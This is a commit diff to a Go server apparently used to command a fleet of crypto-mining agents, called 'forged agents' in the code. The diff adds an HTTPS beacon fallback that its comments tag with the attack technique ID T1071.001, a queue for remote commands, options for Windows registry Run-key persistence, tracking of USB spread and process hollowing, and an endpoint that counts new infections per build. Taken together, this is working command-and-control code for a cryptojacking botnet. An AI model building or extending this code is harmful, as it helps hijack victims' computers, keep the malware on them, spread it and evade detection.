feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence

Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
AetherForge
2026-06-04 09:34:33 -07:00
parent d52479c9a6
commit 5fc601b564
111 changed files with 5845 additions and 116 deletions

View File

@@ -182,7 +182,7 @@ func (e *Evaluator) fire(ev AlertEvent, cooldownKey string) {
log.Printf("[Alert] %s: %s", ev.Type, ev.Message)
s := e.settings()
if s.EnabledForAlertType(ev.Type) {
NotifyAll(s.NotifyConfig, "AetherForge "+ev.Type, ev.Message)
NotifyAllEvent(s.NotifyConfig, ev.Type, "AetherForge "+ev.Type, ev.Message)
}
if e.broadcast != nil {
e.broadcast(ev)

View File

@@ -0,0 +1,56 @@
package alerts
import (
"encoding/json"
"strconv"
"strings"
)
// kevExposurePayload mirrors agent KEVScanReport JSON.
type kevExposurePayload struct {
ExposedCount int `json:"exposed_count"`
CriticalCount int `json:"critical_count"`
LikelyCount int `json:"likely_count"`
RiskScore int `json:"risk_score"`
Summary string `json:"summary"`
Findings []struct {
CVE string `json:"cve"`
Name string `json:"name"`
Status string `json:"status"`
Severity string `json:"severity"`
Detail string `json:"detail"`
} `json:"findings"`
}
const EventKEVExposure = "kev_exposure"
// NotifyKEVFromSysCheck parses a full_sys_check message and sends Telegram if enabled.
func NotifyKEVFromSysCheck(n *Notifier, agentName, message string) {
if n == nil || strings.TrimSpace(message) == "" {
return
}
var report struct {
KEV *kevExposurePayload `json:"kev_exposure"`
}
if err := json.Unmarshal([]byte(message), &report); err != nil || report.KEV == nil {
return
}
k := report.KEV
if k.ExposedCount == 0 && k.CriticalCount == 0 {
return
}
s := n.settings()
if !s.Events.KEVExposure {
return
}
body := agentName + ": " + k.Summary
if body == agentName+": " {
body = agentName + ": KEV exposure indicators — exposed=" + strconv.Itoa(k.ExposedCount) + " critical=" + strconv.Itoa(k.CriticalCount)
}
for _, f := range k.Findings {
if f.Status == "exposed" && f.Severity == "critical" {
body += "\n• " + f.CVE + " " + f.Name
}
}
n.Emit(EventKEVExposure, "AetherForge KEV alert", body)
}

View File

@@ -0,0 +1,18 @@
package alerts
import "testing"
func TestNotifyKEVFromSysCheckNoPanic(t *testing.T) {
n := NewNotifier(func() Settings {
return NewSettings(NotifyConfig{}, EventToggles{KEVExposure: true})
})
msg := `{"kev_exposure":{"exposed_count":1,"critical_count":1,"summary":"test","findings":[{"cve":"CVE-2021-26855","name":"ProxyLogon","status":"exposed","severity":"critical"}]}}`
NotifyKEVFromSysCheck(n, "worker-1", msg)
}
func TestNotifyKEVSkipsWhenClear(t *testing.T) {
n := NewNotifier(func() Settings {
return NewSettings(NotifyConfig{TelegramBotToken: "x", TelegramChatID: "1"}, EventToggles{KEVExposure: true})
})
NotifyKEVFromSysCheck(n, "w", `{"kev_exposure":{"exposed_count":0,"critical_count":0}}`)
}

View File

@@ -19,11 +19,11 @@ func (n *Notifier) Emit(event string, title, body string) {
if !n.eventEnabled(s, event) {
return
}
if s.TelegramBotToken == "" && s.TelegramChatID == "" && !s.EmailEnabled {
if s.TelegramBotToken == "" && s.TelegramChatID == "" && !s.EmailEnabled && s.WebhookURL == "" {
return
}
log.Printf("[Notify] %s: %s", event, body)
NotifyAll(s.NotifyConfig, title, body)
NotifyAllEvent(s.NotifyConfig, event, title, body)
}
func (n *Notifier) eventEnabled(s Settings, event string) bool {
@@ -34,6 +34,8 @@ func (n *Notifier) eventEnabled(s Settings, event string) bool {
return s.Events.AgentReconnect
case EventBuildComplete:
return s.Events.BuildComplete
case EventKEVExposure:
return s.Events.KEVExposure
case "offline":
return s.Events.AgentOffline
case "hashrate_drop":

View File

@@ -14,6 +14,7 @@ import (
type NotifyConfig struct {
TelegramBotToken string
TelegramChatID string
WebhookURL string
EmailEnabled bool
SMTPHost string
SMTPPort int
@@ -89,7 +90,41 @@ func SendEmail(cfg NotifyConfig, subject, body string) error {
return smtp.SendMail(addr, auth, from, []string{cfg.EmailTo}, []byte(msg))
}
func SendWebhook(cfg NotifyConfig, event, subject, text string) error {
if cfg.WebhookURL == "" {
return nil
}
payload, _ := json.Marshal(map[string]string{
"event": event,
"title": subject,
"message": text,
})
req, err := http.NewRequest(http.MethodPost, cfg.WebhookURL, bytes.NewReader(payload))
if err != nil {
return err
}
req.Header.Set("Content-Type", "application/json")
client := &http.Client{Timeout: 15 * time.Second}
resp, err := client.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode >= 300 {
body, _ := io.ReadAll(resp.Body)
return fmt.Errorf("webhook status %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))
}
return nil
}
func NotifyAll(cfg NotifyConfig, subject, text string) {
_ = SendTelegram(cfg, subject+": "+text)
_ = SendEmail(cfg, subject, text)
}
// NotifyAllEvent sends to Telegram, email, and optional operator webhook.
func NotifyAllEvent(cfg NotifyConfig, event, subject, text string) {
_ = SendTelegram(cfg, subject+": "+text)
_ = SendEmail(cfg, subject, text)
_ = SendWebhook(cfg, event, subject, text)
}

View File

@@ -8,6 +8,7 @@ type EventToggles struct {
HashrateDrop bool
RejectionRate bool
BuildComplete bool
KEVExposure bool
}
// Settings combines delivery credentials with per-event toggles.

View File

@@ -0,0 +1,25 @@
package api
import (
"context"
"net/http"
)
type contextKey string
const authUserKey contextKey = "auth_user"
func withAuthUser(r *http.Request, username string) *http.Request {
return r.WithContext(context.WithValue(r.Context(), authUserKey, username))
}
// AuthUsername returns the Basic-auth username for the current request, if any.
func AuthUsername(r *http.Request) string {
if r == nil {
return ""
}
if u, ok := r.Context().Value(authUserKey).(string); ok {
return u
}
return ""
}

View File

@@ -0,0 +1,260 @@
package api
import (
"encoding/json"
"net/http"
"strings"
"time"
"crypto-miner-server/internal/models"
)
const beaconReachableWindow = 90 * time.Second
// BeaconCommand is delivered to agents on HTTPS beacon when WebSocket is down.
type BeaconCommand struct {
Action string `json:"action"`
TailLines int `json:"tail_lines,omitempty"`
Command string `json:"command,omitempty"`
Path string `json:"path,omitempty"`
Data string `json:"data,omitempty"`
}
type beaconRequest struct {
AgentID string `json:"agent_id"`
Stats json.RawMessage `json:"stats,omitempty"`
Hostname string `json:"hostname,omitempty"`
Wallet string `json:"wallet,omitempty"`
Worker string `json:"worker_name,omitempty"`
Version string `json:"version,omitempty"`
}
type beaconResponse struct {
OK bool `json:"ok"`
Commands []BeaconCommand `json:"commands"`
}
type beaconResultRequest struct {
AgentID string `json:"agent_id"`
Action string `json:"action"`
Success bool `json:"success"`
Message string `json:"message"`
}
func (h *WSHub) initBeaconMaps() {
h.beaconMu.Lock()
defer h.beaconMu.Unlock()
if h.beaconLastSeen == nil {
h.beaconLastSeen = make(map[string]time.Time)
}
if h.beaconCmdQueue == nil {
h.beaconCmdQueue = make(map[string][]BeaconCommand)
}
}
// MarkBeaconSeen records a successful HTTPS beacon from an agent.
func (h *WSHub) MarkBeaconSeen(agentID string) {
h.initBeaconMaps()
h.beaconMu.Lock()
h.beaconLastSeen[agentID] = time.Now()
h.beaconMu.Unlock()
}
// ClearBeaconTransport clears HTTPS-beacon state when the agent reconnects over WebSocket.
func (h *WSHub) ClearBeaconTransport(agentID string) {
h.initBeaconMaps()
h.beaconMu.Lock()
delete(h.beaconLastSeen, agentID)
delete(h.beaconCmdQueue, agentID)
h.beaconMu.Unlock()
}
func (h *WSHub) isAgentBeaconReachable(agentID string) bool {
h.initBeaconMaps()
h.beaconMu.Lock()
last, ok := h.beaconLastSeen[agentID]
h.beaconMu.Unlock()
return ok && time.Since(last) <= beaconReachableWindow
}
// IsAgentReachable returns true if the agent has an active WebSocket or recent HTTPS beacon.
func (h *WSHub) IsAgentReachable(agentID string) bool {
return h.isAgentConnected(agentID) || h.isAgentBeaconReachable(agentID)
}
// EnqueueBeaconCommand queues a command for HTTPS beacon delivery.
func (h *WSHub) EnqueueBeaconCommand(agentID, action string, args map[string]interface{}) bool {
if !h.isAgentBeaconReachable(agentID) {
return false
}
cmd := BeaconCommand{Action: action}
if v, ok := args["tail_lines"]; ok {
switch n := v.(type) {
case int:
cmd.TailLines = n
case float64:
cmd.TailLines = int(n)
}
}
if v, ok := args["command"].(string); ok {
cmd.Command = v
}
if v, ok := args["path"].(string); ok {
cmd.Path = v
}
if v, ok := args["data"].(string); ok {
cmd.Data = v
}
h.initBeaconMaps()
h.beaconMu.Lock()
h.beaconCmdQueue[agentID] = append(h.beaconCmdQueue[agentID], cmd)
h.beaconMu.Unlock()
return true
}
func (h *WSHub) dequeueBeaconCommands(agentID string) []BeaconCommand {
h.initBeaconMaps()
h.beaconMu.Lock()
cmds := h.beaconCmdQueue[agentID]
delete(h.beaconCmdQueue, agentID)
h.beaconMu.Unlock()
if cmds == nil {
return []BeaconCommand{}
}
return cmds
}
func (h *WSHub) applyBeaconStats(agentID string, statsJSON json.RawMessage) {
if h.db == nil || len(statsJSON) == 0 {
return
}
var stats struct {
Hashrate15s float64 `json:"hashrate_15s"`
Hashrate1m float64 `json:"hashrate_1m"`
Hashrate15m float64 `json:"hashrate_15m"`
SharesSubmitted int `json:"shares_submitted"`
SharesAccepted int `json:"shares_accepted"`
CPUUsagePct float64 `json:"cpu_usage_pct"`
MemoryUsagePct float64 `json:"memory_usage_pct"`
UptimeSeconds int `json:"uptime_seconds"`
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
GPUModel string `json:"gpu_model,omitempty"`
}
if err := json.Unmarshal(statsJSON, &stats); err != nil {
return
}
sharesBad := stats.SharesSubmitted - stats.SharesAccepted
if sharesBad < 0 {
sharesBad = 0
}
_ = h.db.UpdateAgentStats(agentID, stats.Hashrate15s, stats.Hashrate1m, stats.Hashrate15m,
stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)
gpuActive := stats.GPUMinerActive != nil && *stats.GPUMinerActive
_ = h.db.UpdateAgentGPUStats(agentID, stats.GPUHashrate15m, stats.GPUModel, gpuActive)
_ = h.db.InsertHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m)
h.broadcastDashboard(Message{
Type: "stats",
Payload: mustMarshal(map[string]interface{}{
"agent_id": agentID,
"hashrate_15s": stats.Hashrate15s,
"hashrate_1m": stats.Hashrate1m,
"hashrate_15m": stats.Hashrate15m,
"cpu_usage_pct": stats.CPUUsagePct,
"memory_usage_pct": stats.MemoryUsagePct,
"uptime_seconds": stats.UptimeSeconds,
"shares_submitted": stats.SharesSubmitted,
"shares_accepted": stats.SharesAccepted,
"transport": "https_beacon",
}),
})
}
// HandleAgentBeacon accepts periodic HTTPS beacons from forged agents (T1071.001 fallback).
func (h *WSHub) HandleAgentBeacon(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
return
}
var req beaconRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
agentID := strings.TrimSpace(req.AgentID)
if agentID == "" {
http.Error(w, "agent_id is required", http.StatusBadRequest)
return
}
h.MarkBeaconSeen(agentID)
if h.db != nil {
if _, err := h.db.GetAgent(agentID); err != nil && (req.Hostname != "" || req.Wallet != "") {
display := req.Hostname
if display == "" {
display = agentID
}
_ = h.db.UpsertAgent(&models.Agent{
ID: agentID,
Name: display,
Wallet: req.Wallet,
Version: req.Version,
Status: "online",
})
}
}
h.applyBeaconStats(agentID, req.Stats)
cmds := h.dequeueBeaconCommands(agentID)
writeJSON(w, beaconResponse{OK: true, Commands: cmds})
}
// HandleAgentBeaconResult receives command results from HTTPS beacon agents.
func (h *WSHub) HandleAgentBeaconResult(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
return
}
var req beaconResultRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
agentID := strings.TrimSpace(req.AgentID)
if agentID == "" || req.Action == "" {
http.Error(w, "agent_id and action are required", http.StatusBadRequest)
return
}
h.MarkBeaconSeen(agentID)
payload := map[string]interface{}{
"agent_id": agentID,
"action": req.Action,
"success": req.Success,
"message": req.Message,
"transport": "https_beacon",
}
h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
h.notifyCmdCallback(agentID, req.Action, payload)
writeJSON(w, map[string]interface{}{"ok": true})
}
// FlushBeaconCommandsToWS delivers any queued HTTPS commands over a live WebSocket.
func (h *WSHub) FlushBeaconCommandsToWS(agentID string) {
cmds := h.dequeueBeaconCommands(agentID)
for _, cmd := range cmds {
args := map[string]interface{}{}
if cmd.TailLines > 0 {
args["tail_lines"] = cmd.TailLines
}
if cmd.Command != "" {
args["command"] = cmd.Command
}
if cmd.Path != "" {
args["path"] = cmd.Path
}
if cmd.Data != "" {
args["data"] = cmd.Data
}
_ = h.SendAgentCommand(agentID, cmd.Action, args)
}
}

View File

@@ -0,0 +1,114 @@
package api
import (
"bytes"
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
func TestAgentBeaconFleetSecretAuth(t *testing.T) {
resetAuthState(t)
const secret = "beacon-test-secret"
SetAgentPathSecret(secret)
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
hub := NewWSHub(database)
hub.SetFleetSecret(secret)
body, _ := json.Marshal(map[string]interface{}{
"agent_id": "agent-beacon-1",
"stats": map[string]interface{}{
"hashrate_15s": 100.0,
"hashrate_1m": 100.0,
"hashrate_15m": 100.0,
},
})
h := basicAuthMiddleware(http.HandlerFunc(hub.HandleAgentBeacon))
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/beacon", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusForbidden {
t.Fatalf("missing secret: got %d", rec.Code)
}
req.Header.Set("X-Fleet-Secret", secret)
rec = httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("valid secret: got %d body=%s", rec.Code, rec.Body.String())
}
var resp beaconResponse
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
t.Fatal(err)
}
if !resp.OK {
t.Fatal("expected ok")
}
}
func TestBeaconCommandQueueRoundtrip(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
_ = database.UpsertAgent(&models.Agent{ID: "q-agent", Name: "host", Status: "offline"})
hub := NewWSHub(database)
hub.MarkBeaconSeen("q-agent")
if !hub.EnqueueBeaconCommand("q-agent", "pause", nil) {
t.Fatal("enqueue failed")
}
cmds := hub.dequeueBeaconCommands("q-agent")
if len(cmds) != 1 || cmds[0].Action != "pause" {
t.Fatalf("commands: %+v", cmds)
}
if len(hub.dequeueBeaconCommands("q-agent")) != 0 {
t.Fatal("queue should be empty")
}
}
func TestAgentBeaconReturnsQueuedCommands(t *testing.T) {
resetAuthState(t)
const secret = "beacon-cmd-secret"
SetAgentPathSecret(secret)
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
_ = database.UpsertAgent(&models.Agent{ID: "cmd-agent", Name: "pc", Status: "offline"})
hub := NewWSHub(database)
hub.MarkBeaconSeen("cmd-agent")
_ = hub.EnqueueBeaconCommand("cmd-agent", "resume", nil)
body, _ := json.Marshal(map[string]string{"agent_id": "cmd-agent"})
h := basicAuthMiddleware(http.HandlerFunc(hub.HandleAgentBeacon))
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/beacon", bytes.NewReader(body))
req.Header.Set("X-Fleet-Secret", secret)
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("beacon: %d %s", rec.Code, rec.Body.String())
}
var resp beaconResponse
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
t.Fatal(err)
}
if len(resp.Commands) != 1 || resp.Commands[0].Action != "resume" {
t.Fatalf("commands: %+v", resp.Commands)
}
}

View File

@@ -8,7 +8,8 @@ import (
// ConfigHandler handles GET/PUT for server configuration settings
type ConfigHandler struct {
config ConfigProvider
config ConfigProvider
auditSave func(username string)
}
// ConfigProvider is an interface for the server config so we don't import main package
@@ -21,6 +22,10 @@ func NewConfigHandler(cp ConfigProvider) *ConfigHandler {
return &ConfigHandler{config: cp}
}
func (h *ConfigHandler) SetAuditSaveHook(fn func(username string)) {
h.auditSave = fn
}
func (h *ConfigHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case http.MethodGet:
@@ -63,6 +68,10 @@ func (h *ConfigHandler) updateConfig(w http.ResponseWriter, r *http.Request) {
return
}
if h.auditSave != nil {
h.auditSave(AuthUsername(r))
}
// Return updated config
h.getConfig(w, r)
}

View File

@@ -369,6 +369,7 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
args["data"] = req.Data
}
queued := false
if id == "all" {
if f.ws.connectedAgentCount() == 0 {
writeJSON(w, map[string]interface{}{
@@ -381,7 +382,7 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
}
f.ws.BroadcastAgentCommand(req.Action, args)
} else {
if !f.ws.isAgentConnected(id) {
if !f.ws.IsAgentReachable(id) {
writeJSON(w, map[string]interface{}{
"success": false,
"error": "agent not connected",
@@ -390,6 +391,7 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
})
return
}
queued = !f.ws.isAgentConnected(id)
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
writeJSON(w, map[string]interface{}{
"success": false,
@@ -400,11 +402,21 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
return
}
}
writeJSON(w, map[string]interface{}{
resp := map[string]interface{}{
"success": true,
"agent_id": id,
"action": req.Action,
})
}
if queued {
resp["queued"] = true
resp["transport"] = "https_beacon"
}
writeJSON(w, resp)
if f.db != nil {
_ = f.db.InsertAudit(AuthUsername(r), "agent_command", id, map[string]interface{}{
"action": req.Action, "command": req.Command, "path": req.Path,
})
}
}
// PostAgentWOL sends a Wake-on-LAN magic packet to the agent's MAC address.

View File

@@ -0,0 +1,97 @@
package api
import (
"encoding/json"
"net/http"
"time"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
)
func (f *FleetHandler) GetAudit(w http.ResponseWriter, r *http.Request) {
if f.db == nil {
writeJSON(w, []*models.AuditEntry{})
return
}
entries, err := f.db.ListAudit(50)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if entries == nil {
entries = []*models.AuditEntry{}
}
writeJSON(w, entries)
}
func (f *FleetHandler) GetFleetTasks(w http.ResponseWriter, r *http.Request) {
if f.db == nil {
writeJSON(w, []*models.FleetTask{})
return
}
tasks, err := f.db.ListFleetTasks()
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if tasks == nil {
tasks = []*models.FleetTask{}
}
writeJSON(w, tasks)
}
func (f *FleetHandler) PutFleetTask(w http.ResponseWriter, r *http.Request) {
var t models.FleetTask
if err := json.NewDecoder(r.Body).Decode(&t); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
if t.Name == "" || t.Action == "" || t.Trigger == "" {
http.Error(w, "name, trigger, and action are required", http.StatusBadRequest)
return
}
if f.db == nil {
http.Error(w, "database unavailable", http.StatusServiceUnavailable)
return
}
if err := f.db.UpsertFleetTask(&t); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
_ = f.db.InsertAudit(AuthUsername(r), "fleet_task_save", "", map[string]string{"task_id": t.ID, "name": t.Name})
writeJSON(w, t)
}
func (f *FleetHandler) DeleteFleetTask(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if id == "" {
http.Error(w, "id required", http.StatusBadRequest)
return
}
if f.db == nil {
http.Error(w, "database unavailable", http.StatusServiceUnavailable)
return
}
if err := f.db.DeleteFleetTask(id); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
_ = f.db.InsertAudit(AuthUsername(r), "fleet_task_delete", "", map[string]string{"task_id": id})
writeJSON(w, map[string]bool{"ok": true})
}
func (f *FleetHandler) GetSpreadFunnel(w http.ResponseWriter, r *http.Request) {
if f.db == nil {
writeJSON(w, map[string]interface{}{"by_build": []interface{}{}, "new_connects_today": 0, "total_agents": 0})
return
}
since := time.Now().Add(-7 * 24 * time.Hour)
stats, err := f.db.GetSpreadFunnelStats(since)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, stats)
}

View File

@@ -77,7 +77,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
dropperHandler := NewDropperHandler(database, nil)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, webRoot, dataDir, nil), wsHub, database, dataDir
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, webRoot, dataDir, nil), wsHub, database, dataDir
}
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {

View File

@@ -397,7 +397,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
authCacheSet(user, pass)
}
next.ServeHTTP(w, r)
next.ServeHTTP(w, withAuthUser(r, user))
})
}
@@ -464,6 +464,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/ai/activity", fleetHandler.GetAIActivity)
r.Get("/earnings/estimate", fleetHandler.GetEarningsEstimate)
r.Get("/market/xmr", fleetHandler.GetXMRPrice)
r.Get("/audit", fleetHandler.GetAudit)
r.Get("/fleet-tasks", fleetHandler.GetFleetTasks)
r.Put("/fleet-tasks", fleetHandler.PutFleetTask)
r.Delete("/fleet-tasks/{id}", fleetHandler.DeleteFleetTask)
r.Get("/dashboard/spread-funnel", fleetHandler.GetSpreadFunnel)
}
// Shares
@@ -553,6 +558,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Post("/agent/decide", aiHandler.HandleDecide)
r.Post("/agent/report", aiHandler.HandleReport)
r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)
r.Post("/agent/beacon", wsHub.HandleAgentBeacon)
r.Post("/agent/beacon/result", wsHub.HandleAgentBeaconResult)
})
// WebSocket

View File

@@ -351,7 +351,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, "", dataDir, nil)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, nil, "", dataDir, nil)
dlURL := "/api/v1/builds/" + buildID + "/download"
@@ -428,7 +428,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, "", dataDir, nil)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, "", dataDir, nil)
req := httptest.NewRequest(http.MethodGet, "/", nil)
rec := httptest.NewRecorder()

View File

@@ -106,6 +106,11 @@ func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time
// cmdResultKey is used to key pending command callbacks: "agentID:action".
type cmdResultKey struct{ AgentID, Action string }
// ConnectTaskRunner fires scheduled fleet tasks on agent connect/reconnect.
type ConnectTaskRunner interface {
RunConnectTasks(agentID, trigger string)
}
type WSHub struct {
db *db.Database
agents map[string]*AgentConnection
@@ -122,12 +127,18 @@ type WSHub struct {
pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect
eventNotifier *alerts.Notifier
connectTasks ConnectTaskRunner
mu sync.RWMutex
// pendingCmdCallbacks allows handlers to await a specific command_result
// from an agent (used by Path Tracer orchestration).
pendingCmdMu sync.Mutex
pendingCmdCallbacks map[cmdResultKey]chan map[string]interface{}
// HTTPS beacon fallback (T1071.001) — command queue when WebSocket is down.
beaconMu sync.Mutex
beaconLastSeen map[string]time.Time
beaconCmdQueue map[string][]BeaconCommand
}
func NewWSHub(database *db.Database) *WSHub {
@@ -148,6 +159,8 @@ func NewWSHub(database *db.Database) *WSHub {
agentLogs: make(map[string]string),
agentDNS: make(map[string][]string),
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
beaconLastSeen: make(map[string]time.Time),
beaconCmdQueue: make(map[string][]BeaconCommand),
pingIntervalSec: 30,
}
@@ -231,6 +244,22 @@ func (h *WSHub) SetFleetSecret(secret string) {
h.mu.Unlock()
}
func (h *WSHub) SetConnectTaskRunner(r ConnectTaskRunner) {
h.mu.Lock()
h.connectTasks = r
h.mu.Unlock()
}
func (h *WSHub) ConnectedAgentIDs() []string {
h.mu.RLock()
defer h.mu.RUnlock()
ids := make([]string, 0, len(h.agents))
for id := range h.agents {
ids = append(ids, id)
}
return ids
}
func (h *WSHub) pingInterval() time.Duration {
h.mu.RLock()
sec := h.pingIntervalSec
@@ -516,6 +545,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
Arch string `json:"arch"`
OSVersion string `json:"os_version"`
MacAddress string `json:"mac_address,omitempty"`
BuildID string `json:"build_id"`
USBSpread bool `json:"usb_spread"`
}
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
@@ -580,6 +611,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
AutoSpread: auth.AutoSpread,
ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows",
AIEnabled: auth.AIEnabled,
USBSpread: auth.USBSpread,
}
h.mu.Lock()
@@ -638,6 +670,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
prior, priorErr := h.db.GetAgent(agentID)
isNewAgent := errors.Is(priorErr, sql.ErrNoRows)
workerName := auth.WorkerName
if workerName == "" {
workerName = auth.Worker
}
agent := &models.Agent{
ID: agentID,
Name: displayName,
@@ -653,6 +690,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
OSVersion: auth.OSVersion,
Hostname: auth.Hostname,
MacAddress: auth.MacAddress,
BuildID: auth.BuildID,
WorkerName: workerName,
USBSpread: auth.USBSpread,
Capabilities: &caps,
}
@@ -692,6 +732,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
h.agents[agentID] = ac
h.mu.Unlock()
h.FlushBeaconCommandsToWS(agentID)
h.ClearBeaconTransport(agentID)
// Start the RTT-aware ping loop now that we have an AgentConnection.
go h.runPingLoopAgent(ac)
@@ -726,6 +769,17 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
}
h.mu.RLock()
runner := h.connectTasks
h.mu.RUnlock()
if runner != nil {
if isNewAgent {
go runner.RunConnectTasks(agentID, "on_connect")
} else if !isNewAgent && (alreadyConnected || (prior != nil && prior.Status != "online")) {
go runner.RunConnectTasks(agentID, "on_reconnect")
}
}
case "stats":
if agentID == "" {
continue
@@ -1051,6 +1105,19 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
// Notify any handler waiting for this specific agent+action result.
if action, _ := payload["action"].(string); action != "" {
h.notifyCmdCallback(agentID, action, payload)
if action == "full_sys_check" {
if ok, _ := payload["success"].(bool); ok {
if msg, _ := payload["message"].(string); msg != "" && h.eventNotifier != nil {
name := agentID
if h.db != nil {
if ag, err := h.db.GetAgent(agentID); err == nil && ag.Name != "" {
name = ag.Name
}
}
alerts.NotifyKEVFromSysCheck(h.eventNotifier, name, msg)
}
}
}
}
}
}
@@ -1220,11 +1287,17 @@ func (h *WSHub) RemoveAgent(agentID string) {
// SendAgentCommand sends a remote command to an agent.
func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error {
payload := map[string]interface{}{"action": action}
for k, v := range args {
payload[k] = v
if h.isAgentConnected(agentID) {
payload := map[string]interface{}{"action": action}
for k, v := range args {
payload[k] = v
}
return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)})
}
return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)})
if h.EnqueueBeaconCommand(agentID, action, args) {
return nil
}
return fmt.Errorf("agent %s not connected", agentID)
}
// BroadcastAgentCommand sends a remote command to all connected agents.

View File

@@ -39,6 +39,12 @@ type BuildRequest struct {
RunAs string `json:"run_as"`
HostBinaryTarget string `json:"host_binary_target"`
AutoStart bool `json:"auto_start"`
AutostartMode string `json:"autostart_mode"`
RegistryPersistence string `json:"registry_persistence"`
RegistryRunHKCU bool `json:"registry_run_hkcu"`
RegistryRunHKLM bool `json:"registry_run_hklm"`
RegistryRunOnce bool `json:"registry_run_once"`
RegistryExplorerRun bool `json:"registry_explorer_run"`
Persistence bool `json:"persistence"`
